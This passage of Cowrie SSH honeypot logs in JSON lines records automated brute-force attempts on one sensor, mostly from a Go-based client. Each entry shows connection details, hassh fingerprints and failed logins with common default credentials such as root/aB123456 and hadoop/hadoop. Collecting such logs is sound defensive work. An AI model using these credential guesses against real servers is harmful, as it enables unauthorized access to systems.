0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:45.135486Z","src_ip":"192.109.200.237","session":"4d5b3bc6e6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:45.386631Z","src_ip":"192.109.200.237","session":"4d5b3bc6e6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:46.473297Z","src_ip":"192.109.200.237","session":"4d5b3bc6e6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41880,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a9af645091","protocol":"ssh","message":"New connection: 192.109.200.237:41880 (159.203.135.109:22) [session: 90a9af645091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:48.171395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:48.176595Z","src_ip":"192.109.200.237","session":"90a9af645091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:48.320675Z","src_ip":"192.109.200.237","session":"90a9af645091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:48.669378Z","src_ip":"192.109.200.237","session":"90a9af645091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:49.754628Z","src_ip":"192.109.200.237","session":"90a9af645091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59326,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad700c9ff19","protocol":"ssh","message":"New connection: 192.109.200.237:59326 (159.203.135.109:22) [session: dad700c9ff19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:51.459437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:51.495311Z","src_ip":"192.109.200.237","session":"dad700c9ff19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:51.543628Z","src_ip":"192.109.200.237","session":"dad700c9ff19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:51.863131Z","src_ip":"192.109.200.237","session":"dad700c9ff19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:52.948044Z","src_ip":"192.109.200.237","session":"dad700c9ff19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd0e1e56ee2","protocol":"ssh","message":"New connection: 192.109.200.237:59344 (159.203.135.109:22) [session: 7fd0e1e56ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:54.664395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:54.669457Z","src_ip":"192.109.200.237","session":"7fd0e1e56ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:54.755977Z","src_ip":"192.109.200.237","session":"7fd0e1e56ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:55.003702Z","src_ip":"192.109.200.237","session":"7fd0e1e56ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:56.088613Z","src_ip":"192.109.200.237","session":"7fd0e1e56ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59372,"dst_ip":"159.203.135.109","dst_port":22,"session":"d422c324d46b","protocol":"ssh","message":"New connection: 192.109.200.237:59372 (159.203.135.109:22) [session: d422c324d46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:57.832513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:57.837953Z","src_ip":"192.109.200.237","session":"d422c324d46b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:57.920891Z","src_ip":"192.109.200.237","session":"d422c324d46b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:58.167803Z","src_ip":"192.109.200.237","session":"d422c324d46b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:59.254715Z","src_ip":"192.109.200.237","session":"d422c324d46b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52436,"dst_ip":"159.203.135.109","dst_port":22,"session":"158e6c395038","protocol":"ssh","message":"New connection: 192.109.200.237:52436 (159.203.135.109:22) [session: 158e6c395038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:00.954322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:00.962835Z","src_ip":"192.109.200.237","session":"158e6c395038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:01.049980Z","src_ip":"192.109.200.237","session":"158e6c395038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:01.456890Z","src_ip":"192.109.200.237","session":"158e6c395038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:02.543563Z","src_ip":"192.109.200.237","session":"158e6c395038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52450,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9110aa8c4d8","protocol":"ssh","message":"New connection: 192.109.200.237:52450 (159.203.135.109:22) [session: a9110aa8c4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:04.290991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:04.296324Z","src_ip":"192.109.200.237","session":"a9110aa8c4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:04.379022Z","src_ip":"192.109.200.237","session":"a9110aa8c4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:04.625336Z","src_ip":"192.109.200.237","session":"a9110aa8c4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":42020,"dst_ip":"159.203.135.109","dst_port":22,"session":"da10e55dd235","protocol":"ssh","message":"New connection: 147.45.197.250:42020 (159.203.135.109:22) [session: da10e55dd235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.005331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.011220Z","src_ip":"147.45.197.250","session":"da10e55dd235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.110968Z","src_ip":"147.45.197.250","session":"da10e55dd235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312","message":"login attempt [root/12312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.390204Z","src_ip":"147.45.197.250","session":"da10e55dd235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60174,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c28e559c541","protocol":"ssh","message":"New connection: 80.66.85.226:60174 (159.203.135.109:22) [session: 1c28e559c541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.430170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.435571Z","src_ip":"80.66.85.226","session":"1c28e559c541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.527976Z","src_ip":"80.66.85.226","session":"1c28e559c541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.711076Z","src_ip":"192.109.200.237","session":"a9110aa8c4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2345678","message":"login attempt [root/2345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:05.812367Z","src_ip":"80.66.85.226","session":"1c28e559c541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:06.485436Z","src_ip":"147.45.197.250","session":"da10e55dd235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:06.905626Z","src_ip":"80.66.85.226","session":"1c28e559c541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52458,"dst_ip":"159.203.135.109","dst_port":22,"session":"c28a599f1e8b","protocol":"ssh","message":"New connection: 192.109.200.237:52458 (159.203.135.109:22) [session: c28a599f1e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:07.386827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:07.392025Z","src_ip":"192.109.200.237","session":"c28a599f1e8b","protocol":"ssh"}
